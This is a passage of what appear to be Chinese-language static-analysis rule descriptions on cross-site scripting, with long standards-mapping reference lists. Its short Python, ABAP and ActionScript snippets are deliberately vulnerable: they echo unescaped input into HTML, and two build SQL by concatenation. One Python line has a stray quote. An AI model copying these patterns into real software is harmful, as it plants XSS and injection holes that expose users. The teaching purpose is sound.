[61] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[63] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.dotnet.cross_site_scripting_inter_component_communication__cloud_
Abstract
傳送未經驗證的資料至網路瀏覽器,會導致瀏覽器執行惡意的程式碼。
Explanation
Cross-Site Scripting (XSS) 弱點會在以下情況中出現:

1.資料從一個不可信賴的來源進入存放在雲端的 Web 應用程式。如果是 Inter-Component Communication Cloud XSS,不可信賴的來源是指透過雲端供應商提供之通訊通道,從雲端應用程式的其他元件接收的資料。


2.未經驗證且包含在動態內容中的資料將傳送給某個網頁使用者。

傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。

範例 1:以下的 Python 程式碼片段在 HTTP 要求中讀取員工識別碼 eid,並顯示給使用者。


req = self.request() # fetch the request object
eid = req.field('eid',None) # tainted request message
...
self.writeln("Employee ID:" + eid)


如果 eid 只包含標準英數字元,則這個範例中的程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值,那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。

一開始,這似乎不會輕易受到攻擊。畢竟,誰會在自己的電腦中輸入會執行惡意程式碼的 URL?其實,真正的危險在於攻擊者會建立惡意的 URL,接著使用電子郵件或社交工程病毒誘騙受害者透過連結前往該 URL。當受害者按下該連結時,他們即不知不覺地透過易受攻擊的 Web 應用程式,將惡意內容資訊帶回他們自己的電腦。這個利用易受攻擊的 Web 應用程式進行攻擊的機制就是通常所知的 Reflected XSS。

範例 2:以下 Python 程式碼片段會查詢資料庫中具有指定識別碼的員工,然後列印相對應的員工姓名。


...
cursor.execute("select * from emp where id="+eid)
row = cursor.fetchone()
self.writeln('Employee name: ' + row["emp"]')
...


Example 1 所述,name 的值正常運作時,此程式碼也會正常運作,但如果該值不正常運作,則會完全無法避免程式碼遭受攻擊。此外,這個程式碼之所以看似不那麼危險,是因為 name 的值是從資料庫中讀取的,而顯然這些內容是由應用程式管理的。但是,如果 name 的值是從使用者提供的資料中產生,那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證,那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS),其性質特別狡詐,因為間接的資料儲存方式而難以辨別該威脅,且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript,所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。

如同範例中所示,XSS 弱點是由 HTTP 回應中包含未經驗證資料的程式碼所引起的。XSS 攻擊有三種途徑可攻擊受害者:

- 如 Example 1 所述,會直接從 HTTP 要求中讀取資料,並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式,接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行,這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是,將惡意內容當作參數隱藏在公開發表的 URL 中,或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心,攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後,就會執行這些內容,並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者,或者執行其他惡意活動。

- 如 Example 2 所述,應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式,並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現:攻擊者把危險內容插入到之後會讀取的資料儲存區中,並包含在動態內容中。從攻擊者的角度來看,插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限,或者會與敏感資料進行互動,且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容,攻擊者可能會代替使用者去執行需要權限許可的作業,或者取得存取使用者專屬敏感資料的權限。

- 應用程式以外的來源會在資料庫或是其他資料存放區中儲存危險資料,且之後這些危險資料會被當作信賴的資料回讀到應用程式,並會包含在動態內容中。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Anti-Cross Site Scripting Library MSDN
[4] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[17] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[18] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[19] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[20] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2021 A03 Injection
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[39] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[40] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[63] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.python.cross_site_scripting_inter_component_communication__cloud_
Abstract
傳送未經驗證的資料至網路瀏覽器,會導致瀏覽器執行惡意的程式碼。
Explanation
Cross-site scripting (XSS) 弱點會在以下情況中出現:

1.資料從一個不可信賴的來源進入 Web 應用程式。在 Persistent XSS (也可稱為 Stored XSS) 案例中,不可信賴的來源通常為資料庫或其他後端資料儲存區,而在 Reflected XSS 案例中,來源通常為網頁要求。


2. 未經驗證且包含在動態內容中的資料將傳送給某個網頁使用者。

傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。

範例 1:以下的 ABAP 程式碼片段會根據所給予的識別碼在資料庫中查詢員工,並列印該員工姓名。


...
DATA: BEGIN OF itab_employees,
eid TYPE employees-itm,
name TYPE employees-name,
END OF itab_employees,
itab LIKE TABLE OF itab_employees.
...
itab_employees-eid = '...'.
APPEND itab_employees TO itab.

SELECT *
FROM employees
INTO CORRESPONDING FIELDS OF TABLE itab_employees
FOR ALL ENTRIES IN itab
WHERE eid = itab-eid.
ENDSELECT.
...
response->append_cdata( 'Employee Name: ').
response->append_cdata( itab_employees-name ).
...
name 值正常運作時,此程式碼也會正常運作,但如果該值不正常運作時,則會完全無法避免程式碼遭受攻擊。這個程式碼之所以較不危險,是因為 name 值是從資料庫中讀取的,且顯然是由應用程式管理這些值的內容。但是,如果 name 的值是從使用者提供的資料中產生,那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證,那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS),其性質特別狡詐,因為間接的資料儲存方式而難以辨別該威脅,且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript,所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。

範例 2:以下的 ABAP 程式碼片段會從 HTTP 要求中讀取員工的識別碼 eid,並將識別碼顯示給使用者。


...
eid = request->get_form_field( 'eid' ).
...
response->append_cdata( 'Employee ID: ').
response->append_cdata( eid ).
...


Example 1 所述,如果 eid 只包含標準英數字元,這個程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值,那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。

一開始,這似乎不會輕易受到攻擊。畢竟,誰會在自己的電腦中輸入會執行惡意程式碼的 URL?其實,真正的危險在於攻擊者會建立惡意的 URL,接著使用電子郵件或社交工程病毒誘騙受害者透過連結前往該 URL。當受害者按下該連結時,他們即不知不覺地透過易受攻擊的 Web 應用程式,將惡意內容資訊帶回他們自己的電腦。這個利用易受攻擊的 Web 應用程式進行攻擊的機制就是通常所知的 Reflected XSS。

如同範例中所示,XSS 的弱點是由 HTTP 回應中包含未經驗證資料的程式碼所引起的。XSS 攻擊有三種途徑可攻擊受害者:

- 如 Example 1 所述,應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式,並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現:攻擊者把危險內容插入到之後會讀取的資料儲存區中,並包含在動態內容中。從攻擊者的角度來看,插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限,或者會與敏感資料進行互動,且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容,攻擊者可能會代替使用者去執行需要權限許可的作業,或者取得存取使用者專屬敏感資料的權限。

- 如 Example 2 所述,會直接從 HTTP 要求中讀取資料,並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式,接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行,這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是,將惡意內容當作參數隱藏在公開發表的 URL 中,或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心,攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後,就會執行這些內容,並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者,或者執行其他惡意活動。

- 應用程式以外的來源會在資料庫或是其他資料記憶體中儲存危險資料,且之後這些危險資料會被當作信賴的資料回讀到應用程式,並會包含在動態內容中。
References
[1] SAP OSS notes 1582870, 1582867 and related notes for ABAP XSS support
[2] SAP OSS Notes 822881, 1600317, 1640092, 1671470 and 1638779 for XSS support in BSPs
[3] Understanding Malicious Content Mitigation for Web Developers CERT
[4] HTML 4.01 Specification W3
[5] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[6] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[11] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[12] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[13] Standards Mapping - FIPS200 SI
[14] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[15] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[16] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[17] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[18] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[19] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[20] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[21] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[25] Standards Mapping - OWASP Top 10 2021 A03 Injection
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[37] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[38] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[39] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[40] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[41] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[63] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[64] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.abap.cross_site_scripting_persistent
Abstract
傳送未經驗證的資料至網路瀏覽器,會導致瀏覽器執行惡意的程式碼。
Explanation
Cross-site scripting (XSS) 弱點會在以下情況中出現:

1.資料從一個不可信賴的來源進入 Web 應用程式。在 Persistent XSS (也可稱為 Stored XSS) 案例中,不可信賴的來源通常為資料庫或其他後端資料儲存區,而在 Reflected XSS 案例中,來源通常為網頁要求。


2.未經驗證且包含在動態內容中的資料將傳送給某個網頁使用者。

傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。

範例 1:以下 ActionScript 程式碼片段會根據所給予的識別碼在資料庫中查詢員工,並列印該員工姓名。


stmt.sqlConnection = conn;
stmt.text = "select * from emp where id="+eid;
stmt.execute();
var rs:SQLResult = stmt.getResult();
if (null != rs) {
var name:String = String(rs.data[0]);
var display:TextField = new TextField();
display.htmlText = "Employee Name: " + name;
}
name 值正常運作時,此程式碼也會正常運作,但如果該值不正常運作時,則會完全無法避免程式碼遭受攻擊。這個程式碼之所以較不危險,是因為 name 值是從資料庫中讀取的,且顯然是由應用程式管理這些值的內容。但是,如果 name 的值是從使用者提供的資料中產生,那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證,那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS),其性質特別狡詐,因為間接的資料儲存方式而難以辨別該威脅,且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript,所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。

範例 2:以下 ActionScript 程式碼片段會從 HTTP 要求中讀取員工的識別碼 eid,並將識別碼顯示給使用者。


var params:Object = LoaderInfo(this.root.loaderInfo).parameters;
var eid:String = String(params["eid"]);
...
var display:TextField = new TextField();
display.htmlText = "Employee ID: " + eid;
...


Example 1 所述,如果 eid 只包含標準英數字元,這個程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值,那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。

一開始,這似乎不會輕易受到攻擊。畢竟,誰會在自己的電腦中輸入會執行惡意程式碼的 URL?其實,真正的危險在於攻擊者會建立惡意的 URL,接著使用電子郵件或社交工程病毒誘騙受害者透過連結前往該 URL。當受害者按下該連結時,他們即不知不覺地透過易受攻擊的 Web 應用程式,將惡意內容資訊帶回他們自己的電腦。這個利用易受攻擊的 Web 應用程式進行攻擊的機制就是通常所知的 Reflected XSS。

如同範例中所示,XSS 的弱點是由 HTTP 回應中包含未經驗證資料的程式碼所引起的。XSS 攻擊有三種途徑可攻擊受害者:

- 如 Example 1 所述,應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式,並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現:攻擊者把危險內容插入到之後會讀取的資料儲存區中,並包含在動態內容中。從攻擊者的角度來看,插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限,或者會與敏感資料進行互動,且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容,攻擊者可能會代替使用者去執行需要權限許可的作業,或者取得存取使用者專屬敏感資料的權限。

- 如 Example 2 所述,會直接從 HTTP 要求中讀取資料,並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式,接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行,這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是,將惡意內容當作參數隱藏在公開發表的 URL 中,或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心,攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後,就會執行這些內容,並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者,或者執行其他惡意活動。

- 應用程式以外的來源會在資料庫或是其他資料記憶體中儲存危險資料,且之後這些危險資料會被當作信賴的資料回讀到應用程式,並會包含在動態內容中。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
